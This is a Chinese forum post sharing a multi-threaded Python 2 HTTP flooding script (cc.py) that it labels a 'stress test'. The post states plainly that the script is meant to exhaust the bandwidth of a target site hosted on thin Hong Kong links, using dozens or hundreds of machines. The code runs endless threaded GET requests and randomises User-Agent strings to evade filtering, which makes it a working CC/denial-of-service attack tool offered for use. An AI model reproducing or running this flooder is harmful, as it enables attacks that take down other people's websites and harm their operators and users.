分享下单机压力测试脚本

这个脚本适用条件很有限，比如自己手里有几十几百台机器，而目标站又用的香港这种小水管，纯粹消耗带宽用。

参数
python cc.py -t 线程数 -u  http://www.xxx.com/

1. #!/usr/bin/env python
2. #!coding:utf8
3. import pycurl
4. import StringIO
5. import Queue
6. from threading import Thread
7. from threading import Lock
8. from os import system
9. import time
10. import re
11. import sys
12. from random import randint
13. import random
14. import urllib
15. import getopt
16. from optparse import OptionParser
18. TIMEOUT = 30
20. parser = OptionParser()  
21. parser.add_option("-t", "–thread", dest="thread_num", action="store",
22.                       help="thread")
23. parser.add_option("-u", "–url", dest="url", action="store",
24.                       help="url")
25. (options, args) = parser.parse_args()  
27. thread_num = int(options.thread_num)
29. def get_url():
30.     pices = options.url.split(‘ ‘)
31.     return random.choice(pices)
33. def http_get(url):
34.     try:
35.         buf = StringIO.StringIO()
36.         c = pycurl.Curl()
38.         c.setopt(c.NOSIGNAL, 1)
39.         c.setopt(c.URL, url)
40.         c.setopt(c.WRITEFUNCTION, buf.write)
41.         c.setopt(c.USERAGENT, rand_ua())
42.         c.setopt(c.CONNECTTIMEOUT, TIMEOUT)
43.         c.setopt(c.TIMEOUT, TIMEOUT)
44.         c.setopt(c.SSL_VERIFYPEER, 0)  
45.         c.setopt(c.SSL_VERIFYHOST, 0)
46.         c.setopt(c.FOLLOWLOCATION, 0)
47.         c.perform()
49.         rescode = 0
50.         res = buf.getvalue()
52.     except Exception,e:
53.         rescode = 1
54.         res = e
55.     finally:
56.         buf.close()
57.         c.close()
58.     return (rescode, res)
60. def cc():
61.     while(True):
62.         target_url = get_url()
63.         res = http_get(target_url)
64.         timestr = time.strftime(‘%Y-%m-%d %H:%M:%S’, time.localtime(time.time()))
65.         if res[0] == 0:
66.             print "[%s] \33[33m%s\33[0m \33[32m%s\33[0m" % (timestr, target_url, len(res[1]))
67.             pass
68.         else:
69.             print "[%s] \33[33m%s\33[0m [%s]%s" % (timestr, target_url, res[0], res[1])
70.         del res
72. def main():
73.     threads = []
74.     for i in range(thread_num):
75.         threads.append(Thread(target=cc))
76.     print ‘threads start…’
77.     time.sleep(1)
78.     for t in threads:
79.         t.start()
80.     for t in threads:
81.         t.join()
83. def rand_ua():
84.     return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/%s.%s (KHTML, like Gecko) Chrome/%s.0.%s.%s Safari/%s.%s"\
85.         % (randint(50,600),randint(20,60),randint(30,80),randint(200,8000),randint(1,99),randint(1,1000),randint(1,99))
87. if __name__ == ‘__main__’:
88.     main()

复制代码